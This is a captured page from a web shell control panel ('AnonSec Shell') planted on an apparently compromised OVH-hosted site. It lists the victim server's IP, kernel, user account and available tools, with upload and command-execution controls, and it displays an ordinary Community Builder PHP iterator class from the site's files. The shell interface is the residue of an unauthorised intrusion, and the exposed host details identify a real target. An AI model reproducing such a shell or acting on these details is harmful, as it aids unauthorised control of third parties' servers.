AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.117
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/c/o/o/coopiak/dansnotreville-fr/nice/libraries/CBLib/CBLib/Registry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/c/o/o/coopiak/dansnotreville-fr/nice/libraries/CBLib/CBLib/Registry/ParametersIterator.php
<?php
/**
* CBLib, Community Builder Library(TM)
* @version $Id: 7/28/14 4:20 PM $
* @package CBLib\Input
* @copyright (C) 2004-2023 www.joomlapolis.com / Lightning MultiCom SA - and its licensors, all rights reserved
* @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2
*/

namespace CBLib\Registry;

defined('CBLIB') or die();

/**
 * CBLib\Input\ParametersIterator Class implementation
 *
 */
class ParametersIterator extends \ArrayIterator
{
	/**
	 * @var ParametersStore
	 */
	protected $params;

	/**
	 * Construct an ArrayIterator
	 *
	 * @link http://php.net/manual/en/arrayiterator.construct.php
	 * @see \ArrayObject::setFlags()
	 *
	 * @param  array            $array  The array or object to be iterated on.
	 * @param  int              $flags  Flags to control the behaviour of the ArrayObject object.
	 * @param  ParamsInterface  $params
	 */
	public function __construct( array $array = array(), $flags = 0, ParamsInterface $params = null )
	{
		parent::__construct( $array, $flags );

		$this->params	=	$params;
	}

	/**
	 * Get value for an offset
	 *
	 * @link http://php.net/manual/en/arrayiterator.offsetget.php
	 *
	 * @param  string  $index  The offset to get the value from
	 * @return mixed           The value at offset $index
	 */
	#[\ReturnTypeWillChange]
	public function offsetGet( $index )
	{
		return $this->params->offsetGet( $index );
	}

	/**
	 * Return current array entry
	 *
	 * @link http://php.net/manual/en/arrayiterator.current.php
	 *
	 * @return mixed  The current array entry.
	 */
	#[\ReturnTypeWillChange]
	public function current()
	{
		$value	=	parent::current();

		if ( is_array( $value ) ) {
			return $this->params->subTree( $this->key() );
		}

		return $value;
	}
}

Anon7 - 2022
AnonSec Team